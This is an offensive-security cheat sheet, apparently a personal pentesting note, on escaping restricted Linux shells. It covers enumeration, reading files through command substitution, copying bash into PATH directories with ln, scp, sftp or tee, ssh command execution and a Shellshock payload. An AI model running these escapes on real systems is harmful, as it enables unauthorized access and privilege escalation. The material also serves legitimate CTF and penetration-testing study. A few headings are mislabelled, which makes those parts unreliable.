PRIMARY CATEGORY → LINUX PRIVESC

Restrictions

Restricted shells tipically limit the default available capabilities of an standard shell itself, here are some of them

  • Using the cd command
  • Setting or unsetting enviroment parameters
  • Cannot run any command that contains a / char
  • Output redirection using >, >>, &>, >& and >>
  • Use exec built-in to replace the current shell with another command
  • Use enable built-in to enable or disable other shell built-ins
  • Turning off restricted mode with set +r or set +o restricted

Enumeration

General

Once we establish a connection to the target through SSH and we see that we are dealing with some kind of restrictive shell, we can run the following commands to get an idea of what we are up against

echo $0
echo $PATH

This way, we can list the available commands by retrieving the value of environment parameters such as PATH

Enviroment Parameters

We can run the following command to retrieve exported variables in the current restricted shell

env
printenv
export -p
declare

It would be interesting to be able to modify the value of PATH or SHELL, but they are always -rx ( i.e. executable but not writable )

If not, simply set SHELL to any non-restricted shell, such as /bin/bash, or PATH to a directory with exploitable commands


Listing Directory Content

If ls command is not available, we can list the content of the current directory as follows

echo *

Bear in mind that we cannot use / on commands, so we cannot list the content of other directories

However, there is a way to list the content of the current directory and child directories by enabling the globstar bash option using shopt

( shopt -s globstar ; echo ** )

We use a subshell ( ( <COMMAND>) ) to avoid polluting the current enviroment

The initial focus should be on finding binaries that we can run to see if there are known shell escapes associated with them


Listing File Content

Commands such as cat, less, more, vi, nano, head, tail are typically forbidden, which makes it difficult ( nearly impossible 😅 ) to list the content of a given file

Command Substitution + Input Redirection

However, if command substitution is totally or partially enabled for certain commands, we can proceed as follows

Reference

echo "$(< <FILE> )" # e.g. echo "$(< flag.txt )"
echo `< <FILE>` # e.g. echo `< flag.txt`
Man
man -c <FILE> # e.g. man -c flag.txt

man: can’t make sense of the manpath configuration file /etc/manpath.config


Copying | Uploading Files

If we are able to copy a file into any PATH directory, we will bypass the / restriction

if we are unable to modify the PATH parameter and we cannot add / to the current command either, we should first check the value of the PATH parameter

echo "$PATH"
declare -p -- PATH
export -p
env
printenv

Let’s suppose that the PATH parameter has the following value

/home/john/rdir

Then, we would need to find a way to upload or create a file in that directory, so we could run the given binary without specifying its absolute path as it is located within a PATH directory

This only applies if we have write permissions over the directory in question

Bear in mind that we cannot use any type of redirection within restricted shells, so we could check if any of the following methods are possible

If ln command is available →

ln -s /usr/bin/bash bash # CWD → /home/john/rdir
SSH
SSH Client
ssh -p22 <USER>@<TARGET> 'cp /usr/bin/bash /home/john/rdir/'
SFTP Client
scp /usr/bin/bash <USER>@<TARGET>:/home/john/rdir/
SCP Client
sftp -P22 <USER>@<TARGET>
> put /usr/bin/bash /home/john/rdir/
FTP
ftp <TARGET>
> put /usr/bin/bash /home/john/rdir/
Tee
echo '<CONTENT>' | tee -a <FILE>

Sensitive Binaries

If any of the following binaries is available in the restricted enviroment, it’s over 💪🏻


From the Outside

Command Execution
ssh -p<PORT> <USER>@<TARGET> '<COMMAND>' # e.g. ssh john@web01 '/bin/bash'
No Profile
ssh -p<PORT> <USER>@<TARGET> 'bsh --noprofile'
Shellshock

See here

If the existing bash version is vulnerable, proceed as follows

ssh -p<PORT> <USER>@<TARGET> '() { : ; } ; <COMMAND>' # e.g. ssh john@web01 '(){:;};whoami'

Resources

0xffsec: Escape from Restricted Shells